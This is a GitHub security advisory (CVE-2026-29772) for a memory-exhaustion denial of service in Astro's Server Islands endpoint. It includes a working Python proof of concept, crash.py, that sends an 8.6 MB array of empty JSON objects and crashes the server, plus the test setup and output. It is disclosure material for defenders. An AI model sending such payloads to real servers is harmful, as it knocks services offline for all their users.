GHSA-3RMJ-9M5H-8FPV
Vulnerability from github – Published: 2026-03-24 19:29 – Updated: 2026-03-24 19:29Summary
Astro's Server Islands POST handler buffers and parses the full request body as JSON without enforcing a size limit. Because JSON.parse() allocates a V8 heap object for every element in the input, a crafted payload of many small JSON objects achieves ~15x memory amplification (wire bytes to heap bytes), allowing a single unauthenticated request to exhaust the process heap and crash the server. The /_server-islands/[name] route is registered on all Astro SSR apps regardless of whether any component uses server:defer, and the body is parsed before the island name is validated, so any Astro SSR app with the Node standalone adapter is affected.
Details
Astro automatically registers a Server Islands route at /_server-islands/[name] on all SSR apps, regardless of whether any component uses server:defer. The POST handler in packages/astro/src/core/server-islands/endpoint.ts buffers the entire request body into memory and parses it as JSON with no size or depth limit:
// packages/astro/src/core/server-islands/endpoint.ts (lines 55-56)
const raw = await request.text(); // full body buffered into memory — no size limit
const data = JSON.parse(raw); // parsed into V8 object graph — no element count limit
The request body is parsed before the island name is validated, so the attacker does not need to know any valid island name — /_server-islands/anything triggers the vulnerable code path. No authentication is required.
Additionally, JSON.parse() allocates a heap object for every array/object in the input, so a payload consisting of many empty JSON objects (e.g., [{},{},{},...]) achieves ~15x memory amplification (wire bytes to heap bytes). The entire object graph is held as a single live reference until parsing completes, preventing garbage collection. An 8.6 MB request is sufficient to crash a server with a 128 MB heap limit.
PoC
Environment: Astro 5.18.0, @astrojs/node 9.5.4, Node.js 22 with --max-old-space-size=128.
The app does not use server:defer — this is a minimal SSR setup with no server island components. The route is still registered and exploitable.
Setup files:
package.json:
{
"name": "poc-server-islands-dos",
"scripts": {
"build": "astro build",
"start": "node --max-old-space-size=128 dist/server/entry.mjs"
},
"dependencies": {
"astro": "5.18.0",
"@astrojs/node": "9.5.4"
}
}
astro.config.mjs:
import { defineConfig } from 'astro/config';
import node from '@astrojs/node';
export default defineConfig({
output: 'server',
adapter: node({ mode: 'standalone' }),
});
src/pages/index.astro:
---
---
<html>
<head><title>Astro App</title></head>
<body>
<h1>Hello</h1>
<p>Just a plain SSR page. No server islands.</p>
</body>
</html>
Dockerfile:
FROM node:22-slim
WORKDIR /app
COPY package.json .
RUN npm install
COPY . .
RUN npm run build
EXPOSE 4321
CMD ["node", "--max-old-space-size=128", "dist/server/entry.mjs"]
docker-compose.yml:
services:
astro:
build: .
ports:
- "4321:4321"
deploy:
resources:
limits:
memory: 256m
Reproduction:
# Build and start
docker compose up -d
# Verify server is running
curl http://localhost:4321/
# => 200 OK
crash.py:
import requests
# Any path under /_server-islands/ works — no valid island name needed
TARGET = "http://localhost:4321/_server-islands/x"
# 3M empty objects: each {} is ~3 bytes JSON but ~56-80 bytes as V8 object
# 8.6 MB on wire → ~180+ MB heap allocation → exceeds 128 MB limit
n = 3_000_000
payload = '[' + ','.join(['{}'] * n) + ']'
print(f"Payload: {len(payload) / (1024*1024):.1f} MB")
try:
r = requests.post(TARGET, data=payload,
headers={"Content-Type": "application/json"}, timeout=30)
print(f"Status: {r.status_code}")
except requests.exceptions.ConnectionError:
print("Server crashed (OOM killed)")
$ python crash.py
Payload: 8.6 MB
Server crashed (OOM killed)
$ curl http://localhost:4321/
curl: (7) Failed to connect to localhost port 4321: Connection refused
$ docker compose ps
NAME IMAGE COMMAND SERVICE CREATED STATUS PORTS
(empty — container was OOM killed)
The server process is killed and does not recover. Repeated requests in a containerized environment with restart policies cause a persistent crash-restart loop.
Impact
Any Astro SSR app with the Node standalone adapter is affected — the /_server-islands/[name] route is registered by default regardless of whether any component uses server:defer. Unauthenticated attackers can crash the server process with a single crafted HTTP request under 9 MB. In containerized environments with memory limits, repeated requests cause a persistent crash-restart loop, denying service to all users. The attack requires no authentication and no knowledge of valid island names — any value in the [name] parameter works because the body is parsed before the name is validated.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@astrojs/node"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "10.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-29772"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-24T19:29:26Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nAstro\u0027s Server Islands POST handler buffers and parses the full request body as JSON without enforcing a size limit. Because `JSON.parse()` allocates a V8 heap object for every element in the input, a crafted payload of many small JSON objects achieves ~15x memory amplification (wire bytes to heap bytes), allowing a single unauthenticated request to exhaust the process heap and crash the server. The `/_server-islands/[name]` route is registered on all Astro SSR apps regardless of whether any component uses `server:defer`, and the body is parsed before the island name is validated, so any Astro SSR app with the Node standalone adapter is affected.\n\n### Details\n\nAstro automatically registers a Server Islands route at `/_server-islands/[name]` on all SSR apps, regardless of whether any component uses `server:defer`. The POST handler in `packages/astro/src/core/server-islands/endpoint.ts` buffers the entire request body into memory and parses it as JSON with no size or depth limit:\n\n```js\n// packages/astro/src/core/server-islands/endpoint.ts (lines 55-56)\nconst raw = await request.text(); // full body buffered into memory \u2014 no size limit\nconst data = JSON.parse(raw); // parsed into V8 object graph \u2014 no element count limit\n```\n\nThe request body is parsed before the island name is validated, so the attacker does not need to know any valid island name \u2014 `/_server-islands/anything` triggers the vulnerable code path. No authentication is required.\n\nAdditionally, `JSON.parse()` allocates a heap object for every array/object in the input, so a payload consisting of many empty JSON objects (e.g., `[{},{},{},...]`) achieves ~15x memory amplification (wire bytes to heap bytes). The entire object graph is held as a single live reference until parsing completes, preventing garbage collection. An 8.6 MB request is sufficient to crash a server with a 128 MB heap limit.\n\n### PoC\n\n**Environment:** Astro 5.18.0, `@astrojs/node` 9.5.4, Node.js 22 with `--max-old-space-size=128`.\n\nThe app does **not** use `server:defer` \u2014 this is a minimal SSR setup with no server island components. The route is still registered and exploitable.\n\n**Setup files:**\n\n`package.json`:\n```json\n{\n \"name\": \"poc-server-islands-dos\",\n \"scripts\": {\n \"build\": \"astro build\",\n \"start\": \"node --max-old-space-size=128 dist/server/entry.mjs\"\n },\n \"dependencies\": {\n \"astro\": \"5.18.0\",\n \"@astrojs/node\": \"9.5.4\"\n }\n}\n```\n\n`astro.config.mjs`:\n```js\nimport { defineConfig } from \u0027astro/config\u0027;\nimport node from \u0027@astrojs/node\u0027;\n\nexport default defineConfig({\n output: \u0027server\u0027,\n adapter: node({ mode: \u0027standalone\u0027 }),\n});\n```\n\n`src/pages/index.astro`:\n```astro\n---\n---\n\u003chtml\u003e\n\u003chead\u003e\u003ctitle\u003eAstro App\u003c/title\u003e\u003c/head\u003e\n\u003cbody\u003e\n \u003ch1\u003eHello\u003c/h1\u003e\n \u003cp\u003eJust a plain SSR page. No server islands.\u003c/p\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n`Dockerfile`:\n```dockerfile\nFROM node:22-slim\nWORKDIR /app\nCOPY package.json .\nRUN npm install\nCOPY . .\nRUN npm run build\nEXPOSE 4321\nCMD [\"node\", \"--max-old-space-size=128\", \"dist/server/entry.mjs\"]\n```\n\n`docker-compose.yml`:\n```yaml\nservices:\n astro:\n build: .\n ports:\n - \"4321:4321\"\n deploy:\n resources:\n limits:\n memory: 256m\n```\n\n**Reproduction:**\n\n```bash\n# Build and start\ndocker compose up -d\n\n# Verify server is running\ncurl http://localhost:4321/\n# =\u003e 200 OK\n```\n\n`crash.py`:\n```python\nimport requests\n\n# Any path under /_server-islands/ works \u2014 no valid island name needed\nTARGET = \"http://localhost:4321/_server-islands/x\"\n\n# 3M empty objects: each {} is ~3 bytes JSON but ~56-80 bytes as V8 object\n# 8.6 MB on wire \u2192 ~180+ MB heap allocation \u2192 exceeds 128 MB limit\nn = 3_000_000\npayload = \u0027[\u0027 + \u0027,\u0027.join([\u0027{}\u0027] * n) + \u0027]\u0027\nprint(f\"Payload: {len(payload) / (1024*1024):.1f} MB\")\n\ntry:\n r = requests.post(TARGET, data=payload,\n headers={\"Content-Type\": \"application/json\"}, timeout=30)\n print(f\"Status: {r.status_code}\")\nexcept requests.exceptions.ConnectionError:\n print(\"Server crashed (OOM killed)\")\n```\n\n```\n$ python crash.py\nPayload: 8.6 MB\nServer crashed (OOM killed)\n\n$ curl http://localhost:4321/\ncurl: (7) Failed to connect to localhost port 4321: Connection refused\n\n$ docker compose ps\nNAME IMAGE COMMAND SERVICE CREATED STATUS PORTS\n(empty \u2014 container was OOM killed)\n```\n\nThe server process is killed and does not recover. Repeated requests in a containerized environment with restart policies cause a persistent crash-restart loop.\n\n### Impact\n\nAny Astro SSR app with the Node standalone adapter is affected \u2014 the `/_server-islands/[name]` route is registered by default regardless of whether any component uses `server:defer`. Unauthenticated attackers can crash the server process with a single crafted HTTP request under 9 MB. In containerized environments with memory limits, repeated requests cause a persistent crash-restart loop, denying service to all users. The attack requires no authentication and no knowledge of valid island names \u2014 any value in the `[name]` parameter works because the body is parsed before the name is validated.",
"id": "GHSA-3rmj-9m5h-8fpv",
"modified": "2026-03-24T19:29:26Z",
"published": "2026-03-24T19:29:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/withastro/astro/security/advisories/GHSA-3rmj-9m5h-8fpv"
},
{
"type": "WEB",
"url": "https://github.com/withastro/astro/commit/f9ee8685dd26e9afeba3b48d41ad6714f624b12f"
},
{
"type": "PACKAGE",
"url": "https://github.com/withastro/astro"
},
{
"type": "WEB",
"url": "https://github.com/withastro/astro/releases/tag/@astrojs/node@10.0.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Astro: Memory exhaustion DoS due to missing request body size limit in Server Islands"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.